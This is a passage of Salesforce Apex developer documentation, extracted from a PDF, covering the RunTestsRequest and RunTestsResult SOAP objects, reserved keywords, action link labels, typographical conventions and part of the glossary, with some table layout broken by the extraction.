Specifies information about the Apex code to be tested. RunTestsRequest is part of CompileAndTestRequest, which is the request passed
to the compileAndTest() call. This object is also passed to the Tooling SOAP API call runTests(). You can specify the same
or different classes to be tested and compiled. Since triggers cannot be tested directly, they are not included in this object. Instead, you
must specify a class that calls the trigger.
If the request is sent to a production organization, this request is ignored and all unit tests defined for your organization are run.
The RunTestsRequest object has the following properties:
Name

Type

Description

allTests

boolean*

If allTests is true, all unit tests defined for your organization are run.

classes

string*[]

An array of one or more objects.

namespace

string

If specified, the namespace that contains the unit tests to be run. Do not use this
property if you specify allTests as true. Also, if you execute compileAndTest()

2577

SOAP API and SOAP Headers for Apex

Name

Type

RunTestsResult

Description
in a production organization, this property is ignored, and all unit tests defined for
the organization are run.

maxFailedTests

int

An optional parameter for the Tooling SOAP API call runTests(). To allow all
tests in a run to execute, set maxFailedTests to -1 or dont specify a value.
To stop the test run from executing new tests after a given number of tests fail, set
maxFailedTests to an integer value from 0 to 1,000,000. This integer
value sets the maximum allowable test failures. A value of 0 causes the test run to
stop if any failure occurs. A value of 1 causes the test run to stop on the second
failure, and so on.

packages

string*[]

Do not use after version 10.0. For earlier, unsupported releases, the content of the
package to be tested.

* Link goes to the SOAP API Developer's Guide.

RunTestsResult
Contains information about the execution of unit tests, including whether unit tests were completed successfully, code coverage results,
and failures.
A RunTestsResult object has the following properties:
Name

Type

Description

apexLogId

string

The ID of an ApexLog object that is created at the end of a test run.

The ApexLog object is created if there is an active trace flag on the
user running an Apex test, or on a class or trigger being executed.
This field is available in API version 35.0 and later.

codeCoverage

CodeCoverageResult[]

codeCoverageWarnings CodeCoverageWarning[]

An array of one or more CodeCoverageResult objects that contains

the details of the code coverage for the specified unit tests.
An array of one or more code coverage warnings for the test run.
The results include both the total number of lines that could have
been executed, as well as the number, line, and column positions
of code that was not executed.

failures

RunTestFailure[]

An array of one or more RunTestFailure objects that contain

information about the unit test failures, if there are any.

numFailures

int

The number of failures for the unit tests.

numTestsRun

int

The number of unit tests that were run.

successes

RunTestSuccess[]

An array of one or more RunTestSuccess objects that contain

information about successes, if there are any.

totalTime

double

The total cumulative time spent running tests. This can be helpful
for performance monitoring.

2578

SOAP API and SOAP Headers for Apex

RunTestsResult

CodeCoverageResult
The RunTestsResult object contains this object. It contains information about whether or not the compile of the specified Apex and run
of the unit tests was successful.
A CodeCoverageResult object has the following properties:
Name

Type

Description

dmlInfo

CodeLocation[]

For each class or trigger tested, for each portion of code tested, this property contains
the DML statement locations, the number of times the code was executed, and the
total cumulative time spent in these calls. This can be helpful for performance
monitoring.

The ID of the CodeLocation. The ID is unique within an organization.

locationsNotCovered CodeLocation[]

For each class or trigger tested, if any code is not covered, the line and column of the
code not tested, and the number of times the code was executed.

methodInfo

CodeLocation[]

For each class or trigger tested, the method invocation locations, the number of times
the code was executed, and the total cumulative time spent in these calls. This can
be helpful for performance monitoring.

CodeCoverageWarning
The RunTestsResult object contains this object. It contains information about the Apex class which generated warnings.
This object has the following properties:
Name

Type

Description

The ID of the class which generated warnings.

message

string

The message of the warning generated.

name

string

The name of the class that generated a warning. If the warning applies to the overall
code coverage, this value is null.

Do not use. In early, unsupported releases, used to specify class or package.

RunTestSuccess
The RunTestsResult object returns information about successes during the unit test run.
This object has the following properties:
Name

Type

Description

The ID of the class which generated the success.

methodName

string

The name of the method that succeeded.

name

string

The name of the class that succeeded.

namespace

string

The namespace that contained the class, if one was specified.

seeAllData

boolean

Indicates whether the test method has access to organization data (true) or not
(false).
This field is available in API version 33.0 and later.

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SOAP API and SOAP Headers for Apex

DebuggingHeader

Name

Type

Description

SOAP API and SOAP Headers for Apex

PackageVersionHeader

If a package version is not specified, the API client uses the version of the package specified in Setup (enter API in the Quick Find
box, then select API).

API Calls
compileAndTest(), compileClasses(), compileTriggers(), executeanonymous()

Fields
Element Name

Type

Description

packageVersions PackageVersion[] A list of package versions for installed managed packages referenced by your API client.

PackageVersion
Specifies a version of an installed managed package. A package version is majorNumber.minorNumber, for example 2.1.
Fields
Field

Type

Description

majorNumber

int

The major version number of a package version.

minorNumber

int

The minor version number of a package version.

namespace

string

The unique namespace of the managed package.

2583

APPENDIX B Shipping Invoice Example

This appendix provides an example of an Apex application. This is a more complex example than the Hello World example.
Shipping Invoice Example Walk-Through
Shipping Invoice Example Code

Shipping Invoice Example Walk-Through

The sample application in this section includes traditional Salesforce functionality blended with Apex. Many of the syntactic and semantic
features of Apex, along with common idioms, are illustrated in this application.
Note: The Shipping Invoice sample requires custom objects. You can either create these on your own, or download the objects
and Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the
Apex Tutorials Package. This package also contains sample code and objects for the Apex Quick Start.

Scenario
In this sample application, the user creates a new shipping invoice, or order, and then adds items to the invoice. The total amount for
the order, including shipping cost, is automatically calculated and updated based on the items added or deleted from the invoice.

Data and Code Models

This sample application uses two new objects: Item and Shipping_invoice.
The following assumptions are made:
Item A cannot be in both orders shipping_invoice1 and shipping_invoice2. Two customers cannot obtain the same (physical)
product.
The tax rate is 9.25%.
The shipping rate is 75 cents per pound.
Once an order is over $100, the shipping discount is applied (shipping becomes free).
The fields in the Item custom object include:
Name

Type

Description

Name

String

The name of the item

Price

Currency

The price of the item

Quantity

Number

The number of items in the order

Weight

Number

The weight of the item, used to calculate shipping costs

The total amount, including tax and shipping

Shipping

Currency

The amount charged for shipping (assumes $0.75 per pound)

ShippingDiscount

Currency

Only applied once when subtotal amount reaches $100

Tax

Currency

The amount of tax (assumes 9.25%)

TotalWeight

Number

The total weight of all items

All of the Apex for this application is contained in triggers. This application has the following triggers:
Object

Trigger Name

When Runs

Item

Calculate

after insert, after update, after delete Updates the shipping invoice, calculates the totals and
shipping

Shipping_invoice ShippingDiscount

Description

after update

Updates the shipping invoice, calculating if there is a

shipping discount

The following is the general flow of user actions and when triggers run:

2585

Shipping Invoice Example

Shipping Invoice Example Walk-Through

Flow of user action and triggers for the shopping cart application

1. User clicks Orders > New, names the shipping invoice and clicks Save.
2. User clicks New Item, fills out information, and clicks Save.
3. Calculate trigger runs. Part of the Calculate trigger updates the shipping invoice.
4. ShippingDiscount trigger runs.
5. User can then add, delete or change items in the invoice.
In Shipping Invoice Example Code both of the triggers and the test class are listed. The comments in the code explain the functionality.

APPENDIX C Reserved Keywords

The following words can only be used as keywords.
Note: Keywords marked with an asterisk (*) are reserved for future use.
Table 5: Reserved Keywords
abstract

having*

retrieve*

activate*

hint*

return

and

returning*

any*

implements

rollback

array

import*

savepoint

inner*

search*

asc

insert

select

autonomous*

instanceof

set

begin*

interface

short*

bigdecimal*

into*

sort

blob

int

stat*

break

join*

static

bulk

last_90_days

super

last_month

switch*

byte*

last_n_days

synchronized*

case*

last_week

system

cast*

testmethod

catch

limit

then*

char*

list

this

class

long

this_month*

collect*

loop*

this_week

commit

map

throw

const*

merge

today

continue

new

tolabel

convertcurrency

next_90_days

tomorrow

decimal

next_month

transaction*

2596

Reserved Keywords

default*

next_n_days

trigger

delete

next_week

true

desc

not

try

null

type*

else

nulls

undelete

end*

number*

update

enum

object*

upsert

exception

of*

using

exit*

virtual

export*

webservice

extends

outer*

when*

false

override

where

final

package

while

finally

parallel*

yesterday

float*

pragma*

for

private

from

protected

future

public

global
goto*
group*

The following are special types of keywords that aren't reserved words and can be used as identifiers.
after
before
count
excludes
first
includes
last
order
sharing
with

2597

APPENDIX D Action Links Labels

Use these labels for action link buttons.
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
Specify the key in the labelKey property of the Action Link Definition Input request body. When the action link is rendered, the UI
uses labels for the New, Pending, Success, and Failed states as needed.
Tip: If none of the predefined labels work for your action link, use a custom label. To use a custom label, create an action link
template and define the label in the template. See Action Link Templates.
Key

New

Pending

Success

Failed

Acceptance Pending

Accepted

Acceptance Failed

Activate

Activation Pending

Activated

Activation Failed

Add

Add Pending

Added

Add Failed

Add to Calendar

Add to Calendar Pending Added to Calendar

Add to Calendar Failed

Add to Cart

Add Pending

Added

Add Failed

Agree

Agree Pending

Agree

Agree Failed

Alert

Alert Pending

Alerted

Alert Failed

Answer

Answer Pending

Answered

Answer Failed

Approve

Approval Pending

Approved

Approval Failed

Assign

Assign Pending

Assigned

Assign Failed

Assist

Assistance Pending

Assisted

Assistance Failed

Attach

Attach Pending

Attached

Attach Failed

Authorize

Authorization Pending

Authorized

Authorization Failed

Begin

Begin Pending

Started

Begin Failed

Book

Book Pending

Booked

Book Failed

Buy

Buy Pending

Bought

Buy Failed

Call

Call Pending

Called

Call Failed

2598

Action Links Labels

Key

New

Pending

Success

Failed

Call Me

Call Pending

Call Succeeded

Call Failed

Certify

Certifcation Pending

Certified

Certification Failed

Change

Change Pending

Changed

Change Failed

Chat

Chat Pending

Chat Completed

Chat Failed

Check

Check Pending

Checked

Check Failed

Clear

Clear Pending

Clear

Clear Failed

Clone

Clone Pending

Cloned

Clone Failed

Close Pending

Closed

Close Failed

Confirm

Confirmation Pending

Confirmed

Confirmation Failed

Convert

Convert Pending

Converted

Convert Failed

Convert a Lead

Lead Conversion Pending Lead Converted

Lead Conversion Failed

Create

Create Pending

Created

Create Failed

Deactivate

Deactivation Pending

Deactivated

Deactivation Failed

Decline

Decline Pending

Declined

Decline Failed

Delete

Delete Pending

Deleted

Delete Failed

Deny

Denial Pending

Denied

Denial Failed

Detach

Detach Pending

Detached

Detach Failed

Disagree

Disagree Pending

Disagree

Disagree Failed

Dislike

Dislike Pending

Disliked

Dislike Failed

Dismiss

Dismissal Pending

Dismissed

Dismissal Failed

Do Response Pending

Do Response Failed

Donate

Donation Pending

Donated

Donation Failed

Down

Down Response Pending Down

Down Response Failed

Download

Download Pending

Downloaded

Download Failed

Edit

Edit Pending

Edited

Edit Failed

End

End Pending

Ended

End Failed

Endorse

Endorsement Pending

Endorsed

Endorsement Failed

Enter

Enter Pending

Entered

Enter Failed

Escalate

Escalation Pending

Escalated

Escalation Failed

Estimate

Estimate Pending

Estimate

Estimate Failed

2599

Action Links Labels

Key

New

Pending

Success

Failed

Exclude

Exclude Pending

Excluded

Exclude Failed

Exit

Exit Pending

Exited

Exit Failed

Export

Export Pending

Exported

Export Failed

File

File Pending

Filed

File Failed

Fill

Fill Pending

Filled

Fill Failed

Finish

Finish Pending

Finished

Finish Failed

Flag

Flag Pending

Flagged

Flag Failed

Flip

Flip Pending

Flipped

Flip Failed

Follow Pending

Followed

Follow Failed

Generate

Generate Pending

Generated

Generate Failed

Give

Give Pending

Given

Give Failed

Help

Help Pending

Helped

Help Failed

Hide

Hide Pending

Hidden

Hide Failed

High

High Response Pending

High

High Response Failed

Hold

Hold Pending

Hold Succeeded

Hold Failed

Import

Import Pending

Imported

Import Failed

Include

Include Pending

Included

Include Failed

Join

Join Pending

Joined

Join Failed

Launch

Launch Pending

Launched

Launch Failed

Leave

Leave Pending

Left

Leave Failed

Like Pending

Liked

Like Failed

List

List Pending

Listed

List Failed

Log

Log Pending

Logged

Log Failed

Log a Call

Log a Call Pending

Logged a Call

Log a Call Failed

Low

Low Response Pending

Low

Low Response Failed

Mark

Mark Pending

Marked

Mark Failed

Maybe

Maybe Response Pending Maybe

Maybe Response Failed

Medium

Medium Response
Pending

Medium

Medium Response Failed

Meet

Meet Pending

Meet

Meet Failed

Message

Message Pending

Message

Message Failed

2600

Action Links Labels

Key

New

Pending

Success

Failed

Move

Move Pending

Moved

Move Failed

Negative

Negative Response
Pending

Negative

Negative Response Failed

New

New Pending

New

New Failed

No Response Pending

No Response Failed

OK Response Pending

OK Response Failed

Open

Open Pending

Opened

Open Failed

Order

Order Pending

Ordered

Order Failed

Positive

Positive Response
Pending

Positive

Positive Response Failed

Post

Post Pending

Posted

Post Failed

Post Review

Post Pending

Posted

Post Failed

Process

Process Pending

Processed

Process Failed

Provide

Provide Pending

Provided

Provide Failed

Purchase

Purchase Pending

Purchased

Purchase Failed

Quote

Quote Pending

Quoted

Quote Failed

Receive

Receive Pending

Received

Receive Failed

Recommend

Recommend Pending

Recommended

Recommend Failed

Redo

Redo Response Pending Redo

Redo Response Failed

Refresh

Refresh Pending

Refreshed

Refresh Failed

Reject

Rejection Pending

Rejected

Rejection Failed

Release

Release Pending

Released

Release Failed

Remind

Reminder Pending

Reminded

Reminder Failed

Remove

Removal Pending

Removed

Removal Failed

Repeat

Repeat Pending

Repeated

Repeat Failed

Report

Report Pending

Reported

Report Failed

Request

Request Pending

Requested

Request Failed

Reserve

Reservation Pending

Reserved

Reservation Failed

Resolve

Resolve Pending

Resolved

Resolve Failed

Respond

Response Pending

Responded

Response Failed

Restore

Restore Pending

Restored

Restore Failed

2601

Action Links Labels

Key

New

Pending

Success

Failed

Review

Review Pending

Reviewed

Review Failed

Revise

Revision Pending

Revised

Revision Failed

Save

Save Pending

Saved

Save Failed

Schedule

Schedule Pending

Scheduled

Schedule Failed

Sell

Sell Pending

Sold

Sell Failed

Send

Send Pending

Sent

Send Failed

Send Email

Send Email Pending

Email Sent

Send Email Failed

Share Pending

Shared

Share Failed

Ship

Shipment Pending

Shipped

Shipment Failed

Show

Show Pending

Shown

Show Failed

Start

Start Pending

Started

Start Failed

Stop

Stop Pending

Stopped

Stop Failed

Submit

Submit Pending

Submitted

Submit Failed

Subscribe Pending

Subscribed

Subscribe Failed

Test

Test Pending

Tested

Test Failed

Thank

Thanks Pending

Thanked

Thanks Failed

Unauthorize

Unauthorization Pending Unauthorized

Unauthorization Failed

Uncheck

Uncheck Pending

Uncheck Failed

Undo

Undo Response Pending Undo

Undo Response Failed

Unflag

Unflag Pending

Unflagged

Unflag Failed

Unfollow

Unfollow Pending

Unfollowed

Unfollow Failed

Unlike

Unlike Pending

Unliked

Unlike Failed

Unmark

Unmark Pending

Unmarked

Unmark Failed

Unsubscribe

Unsubscribe Pending

Unsubscribed

Unsubscribe Failed

Up Response Pending

Up Response Failed

Update

Update Pending

Updated

Update Failed

Validate

Validate Pending

Validated

Validate Failed

Verify

Verify Pending

Verified

Verify Failed

View

View Pending

Viewed

View Failed

Visit

Visit Pending

Visit Successful

Visit Failed

2602

Unchecked

Action Links Labels

Key

New

Pending

Success

Failed

Yes

Yes Response Pending

Yes

Yes Response Failed

2603

APPENDIX E Documentation Typographical Conventions

Apex and Visualforce documentation uses the following typographical conventions.
Convention

Description

Courier font

In descriptions of syntax, monospace font indicates items that you should type as shown,
except for brackets. For example:
Public class HelloWorld

Italics

In descriptions of syntax, italics represent variables. You supply the actual value. In the following
example, three values need to be supplied: datatype variable_name [ = value];
If the syntax is bold and italic, the text represents a code element that needs a value supplied
by you, such as a class name or variable value:
public static class YourClassHere { ... }

Bold Courier font

In code samples and syntax descriptions, bold courier font emphasizes a portion of the code
or syntax.

In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as shown.
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
<apex:column value="{!contact.Name}"/>
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>

{}

In descriptions of syntax, braces ({ }) are typed exactly as shown.

<apex:page>
Hello {!$User.FirstName}!
</apex:page>

[]

In descriptions of syntax, anything included in brackets is optional. In the following example,

specifying value is optional:
data_type variable_name [ = value];

2604

Documentation Typographical Conventions

Convention

Description

In descriptions of syntax, the pipe sign means or. You can do one of the following (not all).
In the following example, you can create a new unpopulated set in one of two ways, or you
can populate the set:
Set<data_type> set_name
[= new Set<data_type>();] |
[= new Set<data_type{value [, value2. . .] };] |
;

2605

GLOSSARY
A |B |C |D |E |F |G |H |I |J | L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z

A
Administrator (System Administrator)
One or more individuals in your organization who can configure and customize the application. Users assigned to the System
Administrator profile have administrator privileges.
AJAX Toolkit
A JavaScript wrapper around the API that allows you to execute any API call and access any object you have permission to view from
within JavaScript code. For more information, see the AJAX Toolkit Developer's Guide.
Anti-Join
An anti-join is a subquery on another object in a NOT IN clause in a SOQL query. You can use anti-joins to create advanced queries.
See also Semi-Join.
Anonymous Block, Apex
Apex code that does not get stored in Salesforce, but that can be compiled and executed through the use of the
ExecuteAnonymousResult() API call, or the equivalent in the AJAX Toolkit.
Apex
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and
acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks,
related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
Apex Connector Framework
The Apex Connector Framework is a set of classes and methods in the DataSource namespace for creating a custom adapter for
Salesforce Connect. Create a custom adapter to connect to data thats stored outside your Salesforce org when the other available
Salesforce Connect adapters arent suitable for your needs.
Apex-Managed Sharing
Enables developers to programmatically manipulate sharing to support their applications behavior. Apex-managed sharing is only
available for custom objects.
Apex Page
See Visualforce Page.
App
Short for application. A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific
business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the
way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as
custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange.
AppExchange
The AppExchange is a sharing interface from Salesforce that allows you to browse and share apps and services for the Force.com
platform.

2606

Glossary

Application Programming Interface (API)

The interface that a computer system, library, or application provides to allow other computer programs to request services from it
and exchange data.
Approval Process
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
who to request approval from and what to do at each point of the process.
Asynchronous Calls
A call that does not return results immediately because the operation may take a long time. Calls in the Metadata API and Bulk API
are asynchronous.

B
Batch Apex
The ability to perform long, complex operations on many records at a scheduled time using Apex.
Beta, Managed Package
In the context of managed packages, a beta managed package is an early version of a managed package distributed to a sampling
of your intended audience to test it.
Bulk API
The REST-based Bulk API is optimized for processing large sets of data. It allows you to query, insert, update, upsert, or delete a large
number of records asynchronously by submitting a number of batches which are processed in the background by Salesforce. See
also SOAP API.

C
Callout, Apex
An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or
sending a HTTP request from Apex code and then receiving the response.
Child Relationship
A relationship that has been defined on an sObject that references another sObject as the one side of a one-to-many relationship.
For example, contacts, opportunities, and tasks have child relationships with accounts.
See also sObject.
Class, Apex
A template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables,
exception types, and static initialization code. In most cases, Apex classes are modeled on their counterparts in Java.
Client App
An app that runs outside the Salesforce user interface and uses only the Force.com API or Bulk API. It typically runs on a desktop or
mobile device. These apps treat the platform as a data source, using the development model of whatever tool and platform for
which they are designed.
Code Coverage
A way to identify which lines of code are exercised by a set of unit tests, and which are not. This helps you identify sections of code
that are completely untested and therefore at greatest risk of containing a bug or introducing a regression in the future.
Component, Metadata
A component is an instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom
objects, and the MyCustomObject__c component is an instance of a custom object. A component is described in an XML file

2607

Glossary

and it can be deployed or retrieved using the Metadata API, or tools built on top of it, such as the Force.com IDE or the Force.com
Migration Tool.
Component, Visualforce
Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes a
number of standard components, or you can create your own custom components.
Component Reference, Visualforce
A description of the standard and custom Visualforce components that are available in your organization. You can access the
component library from the development footer of any Visualforce page or the Visualforce Developer's Guide.
Composite App
An app that combines native platform functionality with one or more external Web services, such as Yahoo! Maps. Composite apps
allow for more flexibility and integration with other services, but may require running and managing external code. See also Client
App and Native App.
Controller, Visualforce
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard
controllers that come by default with every standard or custom object, or they can use custom controllers.
Controller Extension
A controller extension is an Apex class that extends the functionality of a standard or custom controller.
Cookie
Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a session cookie
only to record encrypted authentication information for the duration of a specific session.
Custom App
See App.
Custom Controller
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom
controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and
field-level security of the current user.
Custom Field
A field that can be added in addition to the standard fields to customize Salesforce for your organizations needs.
Custom Links
Custom links are URLs defined by administrators to integrate your Salesforce data with external websites and back-office systems.
Formerly known as Web links.
Custom Object
Custom records that allow you to store information unique to your organization.
Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
See also Hierarchy Custom Settings and List Custom Settings.

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D
Database
An organized collection of information. The underlying architecture of the Force.com platform includes a database where your data
is stored.
Database Table
A list of information, presented with rows and columns, about the person, thing, or concept you want to track. See also Object.
Data Loader
A Force.com platform tool used to import and export data from your Salesforce organization.
Data Manipulation Language (DML)
An Apex method or operation that inserts, updates, or deletes records.
Data State
The structure of data in an object at a particular point in time.
Date Literal
A keyword in a SOQL or SOSL query that represents a relative range of time such as last month or next year.
Decimal Places
Parameter for number, currency, and percent custom fields that indicates the total number of digits you can enter to the right of a
decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter, if necessary. For
example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99. Salesforce uses the round half-up
rounding algorithm. Half-way values are always rounded up. For example, 1.45 is rounded to 1.5. 1.45 is rounded to 1.5.
Dependency
A relationship where one object's existence depends on that of another. There are a number of different kinds of dependencies
including mandatory fields, dependent objects (parent-child), file inclusion (referenced images, for example), and ordering
dependencies (when one object must be deployed before another object).
Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding
controlling field.
Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user interface,
you must select the Deployed option to make the functionality visible to other users.
The process by which an application or other functionality is moved from development to production.
To move metadata components from a local file system to a Salesforce organization.
For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a custom object
is deployed, it is only available to administrators and any users with the Customize Application permission.
Deprecated Component
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may involve
redesigning some of the components in the managed package. Developers cannot delete some components in a Managed - Released
package, but they can deprecate a component in a later package version so that new subscribers do not receive the component,
while the component continues to function for existing subscribers and API integrations.
Detail
A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas
the edit page allows you to modify it.

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A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report.
You can toggle the Show Details/Hide Details button to view and hide report detail information.
Developer Edition
A free, fully-functional Salesforce organization designed for developers to extend, integrate, and develop with the Force.com platform.
Developer Edition accounts are available on developer.salesforce.com.
Salesforce Developers
The Salesforce Developers website at developer.salesforce.com provides a full range of resources for platform developers, including
sample code, toolkits, an online developer community, and the ability to obtain limited Force.com platform environments.
Development Environment
A Salesforce organization where you can make configuration changes that will not affect users on the production organization. There
are two kinds of development environments, sandboxes and Developer Edition organizations.

E
Email Alert
Email alerts are actions that send emails, using a specified email template, to specified recipients.
Email Template
A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a
customer service request has been received. Email templates can be personalized with merge fields, and can be written in text,
HTML, or custom format.
Enterprise Edition
A Salesforce edition designed for larger, more complex businesses.
Enterprise WSDL
A strongly-typed WSDL for customers who want to build an integration with their Salesforce organization only, or for partners who
are using tools like Tibco or webMethods to build integrations that require strong typecasting. The downside of the Enterprise WSDL
is that it only works with the schema of a single Salesforce organization because it is bound to all of the unique objects and fields
that exist in that organization's data model.
Entity Relationship Diagram (ERD)
A data modeling tool that helps you organize your data into entities (or objects, as they are called in the Force.com platform) and
define the relationships between them. ERD diagrams for key Salesforce objects are published in the SOAP API Developer's Guide.
Enumeration Field
An enumeration is the WSDL equivalent of a picklist field. The valid values of the field are restricted to a strict set of possible values,
all having the same data type.

F
Facet
A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet.
Field
A part of an object that holds a specific piece of information, such as a text or currency value.
Field Dependency
A filter that allows you to change the contents of a picklist based on the value of another field.

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Field-Level Security
Settings that determine whether fields are hidden, visible, read only, or editable for users. Available in Professional, Enterprise,
Unlimited, Performance, and Developer Editions.
Force.com
The Salesforce platform for building applications in the cloud. Force.com combines a powerful user interface, operating system, and
database to allow you to customize and deploy applications in the cloud for your entire enterprise.
Force.com IDE
An Eclipse plug-in that allows developers to manage, author, debug and deploy Force.com applications in the Eclipse development
environment.
Force.com Migration Tool
A toolkit that allows you to write an Apache Ant build script for migrating Force.com components between a local file system and
a Salesforce organization.
Foreign Key
A field whose value is the same as the primary key of another table. You can think of a foreign key as a copy of a primary key from
another table. A relationship is made between two tables by matching the values of the foreign key in one table with the values of
the primary key in another.

G
Getter Methods
Methods that enable developers to display database and other computed values in page markup.
Methods that return values. See also Setter Methods.
Global Variable
A special merge field that you can use to reference data in your organization.
A method access modifier for any method that needs to be referenced outside of the application, either in the SOAP API or by other
Apex code.
Governor Limits
Apex execution limits that prevent developers who write inefficient code from monopolizing the resources of other Salesforce users.
Gregorian Year
A calendar based on a 12-month structure used throughout much of the world.

H
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you personalize settings for specific profiles or users. The
hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or lowest, value.
In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.
HTTP Debugger
An application that can be used to identify and inspect SOAP requests that are sent from the AJAX Toolkit. They behave as proxy
servers running on your local machine and allow you to inspect and author individual requests.

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I
ID
See Salesforce Record ID.
IdeaExchange
A forum where Salesforce customers can suggest new product concepts, promote favorite enhancements, interact with product
managers and other customers, and preview what Salesforce is planning to deliver in future releases. Visit IdeaExchange at
ideas.salesforce.com.
Import Wizard
A tool for importing data into your Salesforce organization, accessible from Setup.
Instance
The cluster of software and hardware represented as a single logical server that hosts an organization's data and runs their applications.
The Force.com platform runs on multiple instances, but data for any single organization is always stored on a single instance.
Integrated Development Environment (IDE)
A software application that provides comprehensive facilities for software developers including a source code editor, testing and
debugging tools, and integration with source code control systems.
Integration User
A Salesforce user defined solely for client apps or integrations. Also referred to as the logged-in user in a SOAP API context.
ISO Code
The International Organization for Standardization country code, which represents each country by two letters.

J
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a many-to-many relationship
between two objects. For example, you may have a custom object called Bug that relates to the standard case object such that a
bug could be related to multiple cases and a case could also be related to multiple bugs.

L
Length
Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field.
Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the decimal point,
for example, 123.98 for an entry of 3.
Salesforce Connect
Salesforce Connect provides access to data thats stored outside the Salesforce org, such as data in an enterprise resource planning
(ERP) system and records in another org. Salesforce Connect represents the data in external objects and accesses the external data
in real time via Web service callouts to external data sources.
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular
set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings
does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations,
international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you
don't have to use SOQL queries that count against your governor limits.

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List View
A list display of items (for example, accounts or contacts) based on specific criteria. Salesforce provides some predefined views.
In the Agent console, the list view is the top frame that displays a list view of records based on specific criteria. The list views you
can select to display in the console are the same list views defined on the tabs of other objects. You cannot create a list view within
the console.
Local Name
The value stored for the field in the users or accounts language. The local name for a field is associated with the standard name for
that field.
Locale
The country or geographic region in which the user is located. The setting affects the format of date and number fields, for example,
dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United Kingdom) locale.
In Professional, Enterprise, Unlimited, Performance, and Developer Edition organizations, a users individual Locale setting overrides
the organizations Default Locale setting. In Personal and Group Editions, the organization-level locale field is called Locale,
not Default Locale.
Long Text Area
Data type of custom field that allows entry of up to 32,000 characters on separate lines.
Lookup Relationship
A relationship between two records so you can associate records with each other. For example, cases have a lookup relationship
with assets that lets you associate a particular asset with a case. On one side of the relationship, a lookup field allows users to click
a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show
all of the records that have been linked to it. If a lookup field references a record that has been deleted, by default Salesforce clears
the lookup field. Alternatively, you can prevent records from being deleted if theyre in a lookup relationship.

M
Managed Package
A collection of application components that is posted as a unit on the AppExchange and associated with a namespace and possibly
a License Management Organization. To support upgrades, a package must be managed. An organization can create a single
managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged
packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not
include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on
subscribing organizations to protect the intellectual property of the developer.
Manual Sharing
Record-level access rules that allow record owners to give read and edit permissions to other users who might not have access to
the record any other way.
Many-to-Many Relationship
A relationship where each side of the relationship can have many children on the other side. Many-to-many relationships are
implemented through the use of junction objects.
Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts have a
master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup
relationship field required on the page layout.
Metadata
Information about the structure, appearance, and functionality of an organization and any of its parts. Force.com uses XML to describe
metadata.

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Metadata-Driven Development
An app development model that allows apps to be defined as declarative blueprints, with no code required. Apps built on the
platformtheir data models, objects, forms, workflows, and moreare defined by metadata.
Metadata WSDL
A WSDL for users who want to use the Force.com Metadata API calls.
Multitenancy
An application model where all users and apps share a single, common infrastructure and code base.
MVC (Model-View-Controller)
A design paradigm that deconstructs applications into components that represent data (the model), ways of displaying that data
in a user interface (the view), and ways of manipulating that data with business logic (the controller).

N
Namespace
In a packaging context, a one- to 15-character alphanumeric identifier that distinguishes your package and its contents from packages
